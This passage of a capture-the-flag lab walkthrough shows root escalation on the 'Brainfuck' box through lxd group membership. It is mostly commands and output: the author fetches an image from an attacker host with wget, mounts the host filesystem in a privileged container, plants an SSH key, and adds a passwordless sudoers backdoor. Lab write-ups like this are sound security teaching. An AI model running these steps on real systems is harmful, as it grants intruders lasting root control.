LXD Group Abuse:

The other way is to abuse the lxd group, which orestis is a member of.

Brainfuck
orestis@brainfuck:~$ id

uid=1000(orestis) gid=1000(orestis) groups=1000(orestis),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),121(lpadmin),122(sambashare)

HackTricks has a nice guide on how to exploit this. I’ll first build an Alpine image following its walkthrough.

Kali
┌──(ch3ng㉿localhost)-[~/machines/brainfuck]
└─$ git clone https://github.com/saghul/lxd-alpine-builder

Cloning into 'lxd-alpine-builder'...
remote: Enumerating objects: 50, done.
remote: Counting objects: 100% (8/8), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 50 (delta 2), reused 5 (delta 2), pack-reused 42
Receiving objects: 100% (50/50), 3.11 MiB | 5.09 MiB/s, done.
Resolving deltas: 100% (15/15), done.


┌──(ch3ng㉿localhost)-[~/machines/brainfuck]
└─$ cd lxd-alpine-builder

┌──(ch3ng㉿localhost)-[~/machines/brainfuck/lxd-alpine-builder]
└─$ sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine

┌──(ch3ng㉿localhost)-[~/machines/brainfuck/lxd-alpine-builder]
└─$ sudo ./build-alpine -a i686

Determining the latest release... v3.8
Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.8/main/x86
Downloading alpine-keys-2.1-r1.apk
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
Downloading apk-tools-static-2.10.6-r0.apk
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
Downloading alpine-mirrors-3.5.9-r0.apk
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
alpine-devel@lists.alpinelinux.org-4a6a0840.rsa.pub: OK
Verified OK
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2941  100  2941    0     0    527      0  0:00:05  0:00:05 --:--:--   604
--2024-02-27 22:57:22--  http://alpine.mirror.wearetriple.com/MIRRORS.txt
Resolving alpine.mirror.wearetriple.com (alpine.mirror.wearetriple.com)... 93.187.10.106, 2a00:1f00:dc06:10::106
Connecting to alpine.mirror.wearetriple.com (alpine.mirror.wearetriple.com)|93.187.10.106|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2941 (2.9K) [text/plain]
Saving to: ‘/home/ch3ng/machines/brainfuck/lxd-alpine-builder/rootfs/usr/share/alpine-mirrors/MIRRORS.txt’

/home/ch3ng/machines/brainfuck/lxd-alp 100%[========================================================================================================================================>]   2.87K  --.-KB/s    in 0s      

2024-02-27 22:57:23 (11.0 MB/s) - ‘/home/ch3ng/machines/brainfuck/lxd-alpine-builder/rootfs/usr/share/alpine-mirrors/MIRRORS.txt’ saved [2941/2941]

Selecting mirror http://mirror.alwyzon.net/alpine//v3.8/main
fetch http://mirror.alwyzon.net/alpine//v3.8/main/x86/APKINDEX.tar.gz
(1/18) Installing musl (1.1.19-r11)
(2/18) Installing busybox (1.28.4-r3)
Executing busybox-1.28.4-r3.post-install
(3/18) Installing alpine-baselayout (3.1.0-r0)
Executing alpine-baselayout-3.1.0-r0.pre-install
Executing alpine-baselayout-3.1.0-r0.post-install
(4/18) Installing openrc (0.35.5-r5)
Executing openrc-0.35.5-r5.post-install
(5/18) Installing alpine-conf (3.8.0-r0)
(6/18) Installing libressl2.7-libcrypto (2.7.5-r0)
(7/18) Installing libressl2.7-libssl (2.7.5-r0)
(8/18) Installing libressl2.7-libtls (2.7.5-r0)
(9/18) Installing ssl_client (1.28.4-r3)
(10/18) Installing zlib (1.2.11-r1)
(11/18) Installing apk-tools (2.10.6-r0)
(12/18) Installing busybox-suid (1.28.4-r3)
(13/18) Installing busybox-initscripts (3.1-r4)
Executing busybox-initscripts-3.1-r4.post-install
(14/18) Installing scanelf (1.2.3-r0)
(15/18) Installing musl-utils (1.1.19-r11)
(16/18) Installing libc-utils (0.7.1-r0)
(17/18) Installing alpine-keys (2.1-r1)
(18/18) Installing alpine-base (3.8.5-r0)
Executing busybox-1.28.4-r3.trigger
OK: 7 MiB in 18 packages


Then I’ll upload the image to the box and import it.

Brainfuck
orestis@brainfuck:~$ wget http://10.10.14.20:8000/alpine-v3.8-i686-20240227_2257.tar.gz

--2024-02-27 14:28:15--  http://10.10.14.20:8000/alpine-v3.8-i686-20240227_2257.tar.gz
Connecting to 10.10.14.20:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2658415 (2.5M) [application/gzip]
Saving to: ‘alpine-v3.8-i686-20240227_2257.tar.gz’

alpine-v3.8-i686-20240227_2257.tar.gz                      100%[========================================================================================================================================>]   2.54M   739KB/s    in 3.5s    

2024-02-27 14:28:19 (739 KB/s) - ‘alpine-v3.8-i686-20240227_2257.tar.gz’ saved [2658415/2658415]

orestis@brainfuck:~$ lxc image import ./alpine-v3.8-i686-20240227_2257.tar.gz --alias privesc

Image imported with fingerprint: 21b326d6ac316c0e1ad220389c51301f0f39af98f97dd93351aff2e8e34bfc92

When creating the container, it’s important to have security.privileged set to true, as it forces the container to interact with the host as root. The second command mounts the hosts’ filesystem onto the container.

Brainfuck
orestis@brainfuck:~$ lxc init privesc privesc -c security.privileged=true

Creating privesc

orestis@brainfuck:~$ lxc config device add privesc privesc disk source=/ path=/mnt/root recursive=true

Device privesc added to privesc

Finally I’ll start the container and drop into a root shell within it.

Brainfuck
orestis@brainfuck:~$ lxc start privesc

orestis@brainfuck:~$ lxc exec privesc /bin/sh

root@privesc:~# id

uid=0(root) gid=0(root)

root@privesc:~# hostname

privesc

The root directory is now accessible at /mnt/root/root/:

Brainfuck
root@privesc:~# ls -la /mnt/root/root

total 36
drwx------    5 root     root          4096 Feb 27 12:34 .
drwxr-xr-x   23 root     root          4096 Sep 15  2022 ..
lrwxrwxrwx    1 root     root             9 Sep 15  2022 .bash_history -> /dev/null
-rw-r--r--    1 root     root          3106 Oct 22  2015 .bashrc
drwx------    2 root     root          4096 May  5  2017 .cache
-rw-------    1 root     root            66 Oct  3  2022 .mysql_history
drwxr-xr-x    2 root     root          4096 Oct  3  2022 .nano
-rw-r--r--    1 root     root           148 Aug 17  2015 .profile
drwxr-xr-x    2 root     root          4096 Feb 27 12:35 .ssh
-r--------    1 root     root            33 Apr 29  2017 root.txt

It has a .ssh directory, so I’ll add my public key there.

Brainfuck
root@privesc:/mnt/root/root/.ssh# 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPdVw/K7t0VK2aS6itQI70esbea87i+X9Ena3/gxD8Chs4o2pN15g/M7/uJc5IYuF7zgvSpwNHLQg0uZBP84FXxC2UXNJbNbgBU0sQf2URZow66dTyliHgw6whbXWgpETB+4uiNaXhb5EFqiqAi1iIooL3QsU0JeVNteQFff+sfkLhpkoGUu5NsPJLq9y2QEA0/vqGy8FiRenSWt/SRslsLWASMtyPvUtSK79kR0WbAPLkmBRHwXHWN8Od/MzKtoksmPlM65bWu6DCFeGg9Ugotj6GNk+O15+Z/1Z4YHsjgZG2vvbuwjmhh4Ckr8sRCFGhyHsdmGxkxYeT9xytd6pn root@brainfuck' > authorized_keys

root@privesc:/mnt/root/root/.ssh# chmod 600 authorized_keys

However, I still couldn’t SSH in as root. This is due to the SSH configuration on the box, which explicitly disabled root login.

Brainfuck
root@privesc:/mnt/root/root/.ssh# cat /mnt/root/etc/ssh/sshd_config  | grep PermitRootLogin

PermitRootLogin no
# the setting of "PermitRootLogin without-password".

With control over the filesystem, I can modify the config file to allow root login.

Brainfuck
root@privesc:/mnt/root/root/.ssh# sed -i 's/^PermitRootLogin no/PermitRootLogin yes/' /mnt/root/etc/ssh/sshd_config

However, the change only takes effect after the SSH service restarts, and there’s no way for me to trigger this. Instead, I can edit /etc/sudoers to allow orestis run anything as root without password.

Brainfuck
root@privesc:/mnt/root/root/.ssh# echo "orestis ALL=(ALL) NOPASSWD: ALL" >> /mnt/root/etc/sudoers

Back in orestis’ shell, running sudo -i resulted in a root shell.

Brainfuck
orestis@brainfuck:~$ sudo -i

root@brainfuck:~# id

uid=0(root) gid=0(root) groups=0(root)